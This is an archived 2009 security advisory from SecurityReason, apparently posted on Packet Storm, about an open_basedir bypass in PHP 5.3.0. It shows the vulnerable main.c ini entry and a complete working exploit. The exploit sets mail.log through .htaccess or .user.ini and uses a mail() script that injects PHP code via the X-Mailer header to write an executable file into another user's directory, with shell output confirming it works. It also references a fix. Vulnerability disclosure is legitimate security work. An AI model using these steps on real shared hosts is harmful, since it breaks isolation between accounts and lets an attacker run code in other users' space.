what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

PHP 5.3.0 open_basedir Bypass

PHP 5.3.0 open_basedir Bypass
Posted Aug 11, 2009
Authored by Maksymilian Arciemowicz | Site securityreason.com

PHP version 5.3.0 suffers from an open_basedir bypass vulnerability.

tags | exploit, php, bypass
SHA-256 | be91516ebd25b5bfc2c94ee17c0ce86798b15c507f6ccf3c9f0ef4e91a52bdad

PHP 5.3.0 open_basedir Bypass

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ PHP 5.3.0 (main.c) open_basedir bypass ]

Author: Maksymilian Arciemowicz
http://SecurityReason.com
Date:
- - - Dis.: 26.05.2009
- - - Pub.: 06.08.2009

Risk: Medium

Affected Software:
PHP 5.3.0

Original URL:
http://securityreason.com/achievement_securityalert/64

- - --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific
features thrown in. The goal of the language is to allow web developers
to write dynamically generated pages quickly.

http://lu2.php.net/manual/en/mail.configuration.php

mail.log NULL PHP_INI_SYSTEM|PHP_INI_PERDIR Available
since PHP 5.3.0.


- - --- 1. PHP 5.3.0 (main.c) open_basedir bypass ---
The first issue exists in main/main.c

- - ---
STD_PHP_INI_ENTRY("mail.log", NULL,
PHP_INI_SYSTEM|PHP_INI_PERDIR, OnUpdateString,
mail_log, php_core_globals, core_globals)
- - ---

Access PHP_INI_PERDIR is accepted by .htaccess (Apache) or .user.ini (CGI).
Function OnUpdateString dosen't check open_basedir. To reason, we need
create new function OpUpdateMailLog, where open_basedir will be checked.

Exploit:
127# cat /www/home/cx/show.php
<?php
echo ini_get('open_basedir')."\n";
?>
127# curl http://localhost/home/cx/show.php
/www/home/cx
127# cat /www/home/cx/set.php
<?php
echo ini_set('mail.log', '/www/home/gpkc/tmp/')."\n";
?>
127# curl http://localhost/home/cx/set.php

Warning: ini_set(): open_basedir restriction in effect.
File(/www/home/gpkc/tmp/) is not within the allowed path(s):
(/www/home/cx) in /www/home/cx/set.php on line 2

We need create .htaccess or .user.ini
for Apache SAPI:
127# echo 'php_value mail.log /www/home/gkpc/tmp/exploit.php' > ./.htaccess

for CGI:
127# echo 'mail.log = /www/home/gkpc/tmp/exploit.php' > ./.user.ini

and some file with mail() function inside. In header X-Mailer, we can
put some php code to execute in other open_basedir range, like:
<?php echo ini_get('open_basedir');?>

127# cat /www/home/cx/runmail.php
<?php
$to = 'stop@spam.c0m';
$subject = 'open_basedir bypass by http://securityreason.com';
$message = 'exploit';
$headers = 'From: stop@spam.c0m' . "\r\n" .
'Reply-To: stop@spam.c0m' . "\r\n" .
'X-Mailer: PHP<?php echo ini_get(\'open_basedir\');?>/' . phpversion();

mail($to, $subject, $message, $headers);
?>

127# curl http://localhost/home/cx/runmail.php
127# ls -la /www/home/gkpc/tmp/exploit.php
- - -rw-r--r-- 1 www www 173 Jun 30 05:20 /www/home/gkpc/tmp/exploit.php

Finish!
Now we can exec evil script exploit.php via httpd.

127# curl http://localhost/home/gkpc/tmp/exploit.php
mail() on [/www/home/cx/runmail.php:9]: To: stop@spam.c0m -- Headers:
From: stop@spam.c0m Reply-To: stop@spam.c0m X-Mailer:
PHP/www/home/gkpc/5.3.0

exploit.php is now in open_basedir=/www/home/gkpc/ range.

- - --- 2. Fix ---
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/main.c

- - --- 3. Greets ---
sp3x Infospec Chujwamwdupe p_e_a pi3

- - --- 4. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
Email: cxib {a.t] securityreason [d00t>com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl

- -----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkp7FY4ACgkQpiCeOKaYa9YP7ACeKLHh47A/PJo7oPducKF/Iu0N
SZMAn0dMdoqrEnwYZeB2KuzlCK7wc/rB
=jSMc
- -----END PGP SIGNATURE-----

-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkp8K5kACgkQpiCeOKaYa9Yv0wCgulgKdIlAx8fErD+/f7Do/hbs
qpQAn3VloWZCINo3wmqt4+uIo/m3fO7c
=0K2+
-----END PGP SIGNATURE-----

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close